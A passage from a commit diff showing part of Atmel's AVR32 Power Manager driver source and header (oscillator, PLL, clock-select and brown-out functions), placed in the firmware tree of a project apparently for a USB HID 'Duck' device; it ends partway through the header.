void pm_enable_osc32_crystal(volatile avr32_pm_t *pm)
|
||||
{
|
||||
pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_CRYSTAL);
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup)
|
||||
{
|
||||
pm_enable_clk32_no_wait(pm, startup);
|
||||
pm_wait_for_clk32_ready(pm);
|
||||
}
|
||||
|
||||
|
||||
void pm_disable_clk32(volatile avr32_pm_t *pm)
|
||||
{
|
||||
pm->oscctrl32 &= ~AVR32_PM_OSCCTRL32_OSC32EN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup)
|
||||
{
|
||||
// Read register
|
||||
u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32};
|
||||
// Modify
|
||||
u_avr32_pm_oscctrl32.OSCCTRL32.osc32en = 1;
|
||||
u_avr32_pm_oscctrl32.OSCCTRL32.startup = startup;
|
||||
// Write back
|
||||
pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32;
|
||||
}
|
||||
|
||||
|
||||
void pm_wait_for_clk32_ready(volatile avr32_pm_t *pm)
|
||||
{
|
||||
while (!(pm->poscsr & AVR32_PM_POSCSR_OSC32RDY_MASK));
|
||||
}
|
||||
|
||||
|
||||
void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long *p_cksel)
|
||||
{
|
||||
*p_cksel = pm->cksel;
|
||||
}
|
||||
|
||||
|
||||
void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel)
|
||||
{
|
||||
pm->cksel = cksel;
|
||||
|
||||
// Wait for ckrdy bit and then clear it
|
||||
while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK));
|
||||
}
|
||||
|
||||
|
||||
void pm_cksel(volatile avr32_pm_t *pm,
|
||||
unsigned int pbadiv,
|
||||
unsigned int pbasel,
|
||||
unsigned int pbbdiv,
|
||||
unsigned int pbbsel,
|
||||
unsigned int hsbdiv,
|
||||
unsigned int hsbsel)
|
||||
{
|
||||
u_avr32_pm_cksel_t u_avr32_pm_cksel = {0};
|
||||
|
||||
u_avr32_pm_cksel.CKSEL.cpusel = hsbsel;
|
||||
u_avr32_pm_cksel.CKSEL.cpudiv = hsbdiv;
|
||||
u_avr32_pm_cksel.CKSEL.hsbsel = hsbsel;
|
||||
u_avr32_pm_cksel.CKSEL.hsbdiv = hsbdiv;
|
||||
u_avr32_pm_cksel.CKSEL.pbasel = pbasel;
|
||||
u_avr32_pm_cksel.CKSEL.pbadiv = pbadiv;
|
||||
u_avr32_pm_cksel.CKSEL.pbbsel = pbbsel;
|
||||
u_avr32_pm_cksel.CKSEL.pbbdiv = pbbdiv;
|
||||
|
||||
pm->cksel = u_avr32_pm_cksel.cksel;
|
||||
|
||||
// Wait for ckrdy bit and then clear it
|
||||
while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK));
|
||||
}
|
||||
|
||||
|
||||
void pm_gc_setup(volatile avr32_pm_t *pm,
|
||||
unsigned int gc,
|
||||
unsigned int osc_or_pll, // Use Osc (=0) or PLL (=1)
|
||||
unsigned int pll_osc, // Sel Osc0/PLL0 or Osc1/PLL1
|
||||
unsigned int diven,
|
||||
unsigned int div)
|
||||
{
|
||||
u_avr32_pm_gcctrl_t u_avr32_pm_gcctrl = {0};
|
||||
|
||||
u_avr32_pm_gcctrl.GCCTRL.oscsel = pll_osc;
|
||||
u_avr32_pm_gcctrl.GCCTRL.pllsel = osc_or_pll;
|
||||
u_avr32_pm_gcctrl.GCCTRL.diven = diven;
|
||||
u_avr32_pm_gcctrl.GCCTRL.div = div;
|
||||
|
||||
pm->gcctrl[gc] = u_avr32_pm_gcctrl.gcctrl;
|
||||
}
|
||||
|
||||
|
||||
void pm_gc_enable(volatile avr32_pm_t *pm,
|
||||
unsigned int gc)
|
||||
{
|
||||
pm->gcctrl[gc] |= AVR32_PM_GCCTRL_CEN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_gc_disable(volatile avr32_pm_t *pm,
|
||||
unsigned int gc)
|
||||
{
|
||||
pm->gcctrl[gc] &= ~AVR32_PM_GCCTRL_CEN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_pll_setup(volatile avr32_pm_t *pm,
|
||||
unsigned int pll,
|
||||
unsigned int mul,
|
||||
unsigned int div,
|
||||
unsigned int osc,
|
||||
unsigned int lockcount)
|
||||
{
|
||||
u_avr32_pm_pll_t u_avr32_pm_pll = {0};
|
||||
|
||||
u_avr32_pm_pll.PLL.pllosc = osc;
|
||||
u_avr32_pm_pll.PLL.plldiv = div;
|
||||
u_avr32_pm_pll.PLL.pllmul = mul;
|
||||
u_avr32_pm_pll.PLL.pllcount = lockcount;
|
||||
|
||||
pm->pll[pll] = u_avr32_pm_pll.pll;
|
||||
}
|
||||
|
||||
|
||||
void pm_pll_set_option(volatile avr32_pm_t *pm,
|
||||
unsigned int pll,
|
||||
unsigned int pll_freq,
|
||||
unsigned int pll_div2,
|
||||
unsigned int pll_wbwdisable)
|
||||
{
|
||||
u_avr32_pm_pll_t u_avr32_pm_pll = {pm->pll[pll]};
|
||||
u_avr32_pm_pll.PLL.pllopt = pll_freq | (pll_div2 << 1) | (pll_wbwdisable << 2);
|
||||
pm->pll[pll] = u_avr32_pm_pll.pll;
|
||||
}
|
||||
|
||||
|
||||
unsigned int pm_pll_get_option(volatile avr32_pm_t *pm,
|
||||
unsigned int pll)
|
||||
{
|
||||
return (pm->pll[pll] & AVR32_PM_PLLOPT_MASK) >> AVR32_PM_PLLOPT_OFFSET;
|
||||
}
|
||||
|
||||
|
||||
void pm_pll_enable(volatile avr32_pm_t *pm,
|
||||
unsigned int pll)
|
||||
{
|
||||
pm->pll[pll] |= AVR32_PM_PLLEN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_pll_disable(volatile avr32_pm_t *pm,
|
||||
unsigned int pll)
|
||||
{
|
||||
pm->pll[pll] &= ~AVR32_PM_PLLEN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm)
|
||||
{
|
||||
while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK0_MASK));
|
||||
}
|
||||
|
||||
|
||||
void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm)
|
||||
{
|
||||
while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK1_MASK));
|
||||
}
|
||||
|
||||
|
||||
unsigned long pm_get_clock(volatile avr32_pm_t *pm)
|
||||
{
|
||||
u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl};
|
||||
return u_avr32_pm_mcctrl.MCCTRL.mcsel;
|
||||
}
|
||||
|
||||
|
||||
void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock)
|
||||
{
|
||||
// Read
|
||||
u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl};
|
||||
// Modify
|
||||
u_avr32_pm_mcctrl.MCCTRL.mcsel = clock;
|
||||
// Write back
|
||||
pm->mcctrl = u_avr32_pm_mcctrl.mcctrl;
|
||||
}
|
||||
|
||||
|
||||
void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup)
|
||||
{
|
||||
pm_enable_osc0_crystal(pm, fosc0); // Enable the Osc0 in crystal mode
|
||||
pm_enable_clk0(pm, startup); // Crystal startup time - This parameter is critical and depends on the characteristics of the crystal
|
||||
pm_switch_to_clock(pm, AVR32_PM_MCSEL_OSC0); // Then switch main clock to Osc0
|
||||
}
|
||||
|
||||
|
||||
void pm_bod_enable_irq(volatile avr32_pm_t *pm)
|
||||
{
|
||||
pm->ier = AVR32_PM_IER_BODDET_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_bod_disable_irq(volatile avr32_pm_t *pm)
|
||||
{
|
||||
Bool global_interrupt_enabled = Is_global_interrupt_enabled();
|
||||
|
||||
if (global_interrupt_enabled) Disable_global_interrupt();
|
||||
pm->idr = AVR32_PM_IDR_BODDET_MASK;
|
||||
pm->isr;
|
||||
if (global_interrupt_enabled) Enable_global_interrupt();
|
||||
}
|
||||
|
||||
|
||||
void pm_bod_clear_irq(volatile avr32_pm_t *pm)
|
||||
{
|
||||
pm->icr = AVR32_PM_ICR_BODDET_MASK;
|
||||
}
|
||||
|
||||
|
||||
unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm)
|
||||
{
|
||||
return ((pm->isr & AVR32_PM_ISR_BODDET_MASK) != 0);
|
||||
}
|
||||
|
||||
|
||||
unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm)
|
||||
{
|
||||
return ((pm->imr & AVR32_PM_IMR_BODDET_MASK) != 0);
|
||||
}
|
||||
|
||||
|
||||
unsigned long pm_bod_get_level(volatile avr32_pm_t *pm)
|
||||
{
|
||||
return (pm->bod & AVR32_PM_BOD_LEVEL_MASK) >> AVR32_PM_BOD_LEVEL_OFFSET;
|
||||
}
|
||||
|
||||
|
||||
unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp)
|
||||
{
|
||||
return pm->gplp[gplp];
|
||||
}
|
||||
|
||||
|
||||
void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value)
|
||||
{
|
||||
pm->gplp[gplp] = value;
|
||||
}
|
||||
|
||||
|
||||
long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module)
|
||||
{
|
||||
unsigned long domain = module>>5;
|
||||
unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain);
|
||||
|
||||
// Implementation-specific shortcut: the ckMASK registers are contiguous and
|
||||
// memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK.
|
||||
|
||||
*regptr |= (1<<(module%32));
|
||||
|
||||
return PASS;
|
||||
}
|
||||
|
||||
long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module)
|
||||
{
|
||||
unsigned long domain = module>>5;
|
||||
unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain);
|
||||
|
||||
// Implementation-specific shortcut: the ckMASK registers are contiguous and
|
||||
// memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK.
|
||||
|
||||
*regptr &= ~(1<<(module%32));
|
||||
|
||||
return PASS;
|
||||
}
|
515
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.h
Executable file
515
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.h
Executable file
|
@ -0,0 +1,515 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Power Manager driver.
|
||||
*
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _PM_H_
|
||||
#define _PM_H_
|
||||
|
||||
#include <avr32/io.h>
|
||||
#include "compiler.h"
|
||||
#include "preprocessor.h"
|
||||
|
||||
|
||||
/*! \brief Sets the MCU in the specified sleep mode.
|
||||
*
|
||||
* \param mode Sleep mode:
|
||||
* \arg \c AVR32_PM_SMODE_IDLE: Idle;
|
||||
* \arg \c AVR32_PM_SMODE_FROZEN: Frozen;
|
||||
* \arg \c AVR32_PM_SMODE_STANDBY: Standby;
|
||||
* \arg \c AVR32_PM_SMODE_STOP: Stop;
|
||||
* \arg \c AVR32_PM_SMODE_DEEP_STOP: DeepStop;
|
||||
* \arg \c AVR32_PM_SMODE_STATIC: Static.
|
||||
*/
|
||||
#define SLEEP(mode) {__asm__ __volatile__ ("sleep "STRINGZ(mode));}
|
||||
|
||||
|
||||
//! Input and output parameters when initializing PM clocks using pm_configure_clocks().
|
||||
typedef struct
|
||||
{
|
||||
//! CPU frequency (input/output argument).
|
||||
unsigned long cpu_f;
|
||||
|
||||
//! PBA frequency (input/output argument).
|
||||
unsigned long pba_f;
|
||||
|
||||
//! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument).
|
||||
unsigned long osc0_f;
|
||||
|
||||
//! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument).
|
||||
unsigned long osc0_startup;
|
||||
} pm_freq_param_t;
|
||||
|
||||
#define PM_FREQ_STATUS_FAIL (-1)
|
||||
#define PM_FREQ_STATUS_OK (0)
|
||||
|
||||
|
||||
/*! \brief Gets the MCU reset cause.
|
||||
*
|
||||
* \param pm Base address of the Power Manager instance (i.e. &AVR32_PM).
|
||||
*
|
||||
* \return The MCU reset cause which can be masked with the
|
||||
* \c AVR32_PM_RCAUSE_x_MASK bit-masks to isolate specific causes.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__always_inline__))
|
||||
#endif
|
||||
static inline unsigned int pm_get_reset_cause(volatile avr32_pm_t *pm)
|
||||
{
|
||||
return pm->rcause;
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the external clock mode of the oscillator 0.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the crystal mode of the oscillator 0.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param fosc0 Oscillator 0 crystal frequency (Hz)
|
||||
*/
|
||||
extern void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the oscillator 0 to be used with a startup time.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param startup Clock 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC.
|
||||
*/
|
||||
extern void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will disable the oscillator 0.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_disable_clk0(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the oscillator 0 to be used with no startup time.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param startup Clock 0 startup time, for which the function does not wait. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC.
|
||||
*/
|
||||
extern void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will wait until the Osc0 clock is ready.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the external clock mode of the oscillator 1.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the crystal mode of the oscillator 1.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param fosc1 Oscillator 1 crystal frequency (Hz)
|
||||
*/
|
||||
extern void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the oscillator 1 to be used with a startup time.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param startup Clock 1 startup time. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC.
|
||||
*/
|
||||
extern void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will disable the oscillator 1.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_disable_clk1(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the oscillator 1 to be used with no startup time.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param startup Clock 1 startup time, for which the function does not wait. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC.
|
||||
*/
|
||||
extern void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will wait until the Osc1 clock is ready.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the external clock mode of the 32-kHz oscillator.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the crystal mode of the 32-kHz oscillator.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_enable_osc32_crystal(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the oscillator 32 to be used with a startup time.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param startup Clock 32 kHz startup time. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC.
|
||||
*/
|
||||
extern void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will disable the oscillator 32.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_disable_clk32(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable the oscillator 32 to be used with no startup time.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param startup Clock 32 kHz startup time, for which the function does not wait. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC.
|
||||
*/
|
||||
extern void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will wait until the osc32 clock is ready.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_wait_for_clk32_ready(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will select all the power manager clocks.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param pbadiv Peripheral Bus A clock divisor enable
|
||||
* \param pbasel Peripheral Bus A select
|
||||
* \param pbbdiv Peripheral Bus B clock divisor enable
|
||||
* \param pbbsel Peripheral Bus B select
|
||||
* \param hsbdiv High Speed Bus clock divisor enable (CPU clock = HSB clock)
|
||||
* \param hsbsel High Speed Bus select (CPU clock = HSB clock )
|
||||
*/
|
||||
extern void pm_cksel(volatile avr32_pm_t *pm, unsigned int pbadiv, unsigned int pbasel, unsigned int pbbdiv, unsigned int pbbsel, unsigned int hsbdiv, unsigned int hsbsel);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will setup a generic clock.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param gc generic clock number (0 for gc0...)
|
||||
* \param osc_or_pll Use OSC (=0) or PLL (=1)
|
||||
* \param pll_osc Select Osc0/PLL0 or Osc1/PLL1
|
||||
* \param diven Generic clock divisor enable
|
||||
* \param div Generic clock divisor
|
||||
*/
|
||||
extern void pm_gc_setup(volatile avr32_pm_t *pm, unsigned int gc, unsigned int osc_or_pll, unsigned int pll_osc, unsigned int diven, unsigned int div);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable a generic clock.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param gc generic clock number (0 for gc0...)
|
||||
*/
|
||||
extern void pm_gc_enable(volatile avr32_pm_t *pm, unsigned int gc);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will disable a generic clock.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param gc generic clock number (0 for gc0...)
|
||||
*/
|
||||
extern void pm_gc_disable(volatile avr32_pm_t *pm, unsigned int gc);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will setup a PLL.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param pll PLL number(0 for PLL0, 1 for PLL1)
|
||||
* \param mul PLL MUL in the PLL formula
|
||||
* \param div PLL DIV in the PLL formula
|
||||
* \param osc OSC number (0 for osc0, 1 for osc1)
|
||||
* \param lockcount PLL lockount
|
||||
*/
|
||||
extern void pm_pll_setup(volatile avr32_pm_t *pm, unsigned int pll, unsigned int mul, unsigned int div, unsigned int osc, unsigned int lockcount);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will set a PLL option.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param pll PLL number(0 for PLL0, 1 for PLL1)
|
||||
* \param pll_freq Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz.
|
||||
* \param pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value)
|
||||
* \param pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode.
|
||||
*/
|
||||
extern void pm_pll_set_option(volatile avr32_pm_t *pm, unsigned int pll, unsigned int pll_freq, unsigned int pll_div2, unsigned int pll_wbwdisable);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will get a PLL option.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param pll PLL number(0 for PLL0, 1 for PLL1)
|
||||
* \return Option
|
||||
*/
|
||||
extern unsigned int pm_pll_get_option(volatile avr32_pm_t *pm, unsigned int pll);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will enable a PLL.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param pll PLL number(0 for PLL0, 1 for PLL1)
|
||||
*/
|
||||
extern void pm_pll_enable(volatile avr32_pm_t *pm, unsigned int pll);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will disable a PLL.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param pll PLL number(0 for PLL0, 1 for PLL1)
|
||||
*/
|
||||
extern void pm_pll_disable(volatile avr32_pm_t *pm, unsigned int pll);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will wait for PLL0 locked
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will wait for PLL1 locked
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
*/
|
||||
extern void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function returns the cksel (Clock Select).
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param p_cksel output cksel value
|
||||
*/
|
||||
extern void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long* p_cksel);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function set the cksel (Clock Select).
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param cksel The cksel value.
|
||||
*/
|
||||
extern void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function returns the power manager main clock.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \retval The main clock value.
|
||||
*/
|
||||
extern unsigned long pm_get_clock(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief This function will switch the power manager main clock.
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param clock Clock to be switched on. AVR32_PM_MCSEL_SLOW for RCOsc, AVR32_PM_MCSEL_OSC0 for Osc0, AVR32_PM_MCSEL_PLL0 for PLL0.
|
||||
*/
|
||||
extern void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief Switch main clock to clock Osc0 (crystal mode)
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param fosc0 Oscillator 0 crystal frequency (Hz)
|
||||
* \param startup Crystal 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC.
|
||||
*/
|
||||
extern void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup);
|
||||
|
||||
|
||||
/*! \brief Enables the Brown-Out Detector interrupt.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM).
|
||||
*/
|
||||
extern void pm_bod_enable_irq(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*! \brief Disables the Brown-Out Detector interrupt.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM).
|
||||
*/
|
||||
extern void pm_bod_disable_irq(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*! \brief Clears the Brown-Out Detector interrupt flag.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM).
|
||||
*/
|
||||
extern void pm_bod_clear_irq(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*! \brief Gets the Brown-Out Detector interrupt flag.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM).
|
||||
*
|
||||
* \retval 0 No BOD interrupt.
|
||||
* \retval 1 BOD interrupt pending.
|
||||
*/
|
||||
extern unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*! \brief Gets the Brown-Out Detector interrupt enable status.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM).
|
||||
*
|
||||
* \retval 0 BOD interrupt disabled.
|
||||
* \retval 1 BOD interrupt enabled.
|
||||
*/
|
||||
extern unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*! \brief Gets the triggering threshold of the Brown-Out Detector.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM).
|
||||
*
|
||||
* \return Triggering threshold of the BOD. See the electrical characteristics
|
||||
* in the part datasheet for actual voltage levels.
|
||||
*/
|
||||
extern unsigned long pm_bod_get_level(volatile avr32_pm_t *pm);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief Read the content of the PM GPLP registers
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part)
|
||||
*
|
||||
* \return The content of the chosen GPLP register.
|
||||
*/
|
||||
extern unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief Write into the PM GPLP registers
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part)
|
||||
* \param value Value to write
|
||||
*/
|
||||
